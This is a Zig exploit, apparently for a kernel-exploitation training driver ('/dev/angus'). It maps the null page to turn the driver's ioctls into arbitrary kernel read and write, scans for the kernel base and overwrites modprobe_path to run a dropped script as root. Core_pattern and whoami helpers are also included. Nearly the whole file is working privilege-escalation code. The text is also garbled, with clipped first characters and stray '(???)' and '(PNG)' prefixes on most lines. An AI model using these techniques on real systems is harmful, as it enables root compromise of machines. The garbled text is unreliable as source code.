(???) onst std = @import("std");
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = level.asText();
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len-1-i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
(???) unknown.close();
(???) std.posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (std.posix.fork() catch unreachable) {
(???) 0 => std.posix.abort(),
(???) else => |pid| _ = std.posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) std.posix.abort();
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) std.posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
(???) const sigact = std.posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = std.posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
(???)
(???) onst angus_ioctl = enum(u32) {
(???) INIT = 0x13370001,
(???) SETKEY = 0x13370002,
(???) SETDATA = 0x13370003,
(???) GETDATA = 0x13370004,
(???) ENCRYPT = 0x13370005,
(???) DECRYPT = 0x13370006,
(???) ;
(???) onst XorCipher = extern struct {
(???) key: [*]u8,
(???) data: [*]u8,
(???) keylen: usize,
(???) datalen: usize,
(???) ;
(???) onst request_t = extern struct {
(???) ptr: [*]u8,
(???) len: usize,
(???) ;
(???) ar zero_page: ?*allowzero XorCipher = null;
(???) n mmap_null() !*allowzero XorCipher {
(???) if (zero_page) |ret| {
(???) return ret;
(???) } else {
(???) const rc = std.os.linux.mmap(
(???) null,
(???) std.heap.page_size_min,
(???) std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
(???) std.posix.MAP{
(???) .TYPE = .PRIVATE,
(???) .FIXED = true,
(???) .ANONYMOUS = true,
(???) .POPULATE = true,
(???) },
(???) -1,
(???) 0,
(???) );
(???) switch (std.posix.errno(rc)) {
(???) .SUCCESS => zero_page = @ptrFromInt(rc),
(???) .TXTBSY => return error.AccessDenied,
(???) .ACCES => return error.AccessDenied,
(???) .PERM => return error.PermissionDenied,
(???) .AGAIN => return error.LockedMemoryLimitExceeded,
(???) .BADF => unreachable,
(???) .OVERFLOW => unreachable,
(???) .NODEV => return error.MemoryMappingNotSupported,
(???) .INVAL => unreachable,
(???) .MFILE => return error.ProcessFdQuotaExceeded,
(???) .NFILE => return error.SystemFdQuotaExceeded,
(???) .NOMEM => return error.OutOfMemory,
(???) .EXIST => return error.MappingAlreadyExists,
(???) else => |err| return std.posix.unexpectedErrno(err),
(???) }
(???) return zero_page.?;
(???) }
(???)
(???) n aaw(fd: std.posix.fd_t, buf: []const u8, addr: usize) !void {
(???) var target_value: [128]u8 = undefined;
(???) std.debug.assert(buf.len <= target_value.len);
(???) try aar(fd, target_value[0..buf.len], addr);
(???) for (0..buf.len) |i| target_value[i] ^= buf[i];
(???) const ctx = try mmap_null();
(???) ctx.* = .{
(???) .key = @as([*]u8, &target_value),
(???) .keylen = buf.len,
(???) .data = @as([*]u8, @ptrFromInt(addr)),
(???) .datalen = buf.len,
(???) };
(???) const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.ENCRYPT), @intFromPtr(&request_t{ .ptr = @ptrFromInt(1), .len = 0 }));
(???) switch (std.posix.errno(err)) {
(???) .SUCCESS => {},
(???) else => return error.AAWFail,
(???) }
(???)
(???) n aar(fd: std.posix.fd_t, buf: []u8, addr: usize) !void {
(???) const ctx = try mmap_null();
(???) ctx.* = .{
(???) .key = @constCast(@ptrCast(&[_]u8{0})),
(???) .keylen = 1,
(???) .data = @as([*]u8, @ptrFromInt(addr)),
(???) .datalen = buf.len,
(???) };
(???) const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.GETDATA), @intFromPtr(&request_t{ .ptr = @as([*]u8, @ptrCast(@constCast(buf))), .len = buf.len }));
(???) switch (std.posix.errno(err)) {
(???) .SUCCESS => {},
(???) else => return error.AARFail,
(???) }
(???)
(???) ar MODPROBE_PATH: u64 = 0xffffffff81e37e60;
(PNG) ub fn main() !void {
(???) const fd = try std.posix.open("/dev/angus", .{ .ACCMODE = .RDWR }, 0o660);
(???) defer std.posix.close(fd);
(???) var buf: [8]u8 = undefined;
(???) var kaddr: usize = 0xffffffff81000000;
(???) while (kaddr < 0xffffffff80000000+0x40000000) : (kaddr += 0x100000) {
(???) if (aar(fd, &buf, kaddr)) {
(???) std.log.info("Kernel base address: 0x{x}", .{kaddr});
(???) break;
(???) } else |_| {}
(???) } else return error.KBaseAddressScanFailed;
(???) MODPROBE_PATH += kaddr-0xffffffff81000000;
(???) try aaw(fd, "/tmp/x\x00", MODPROBE_PATH);
(???) modprobePath();
(???)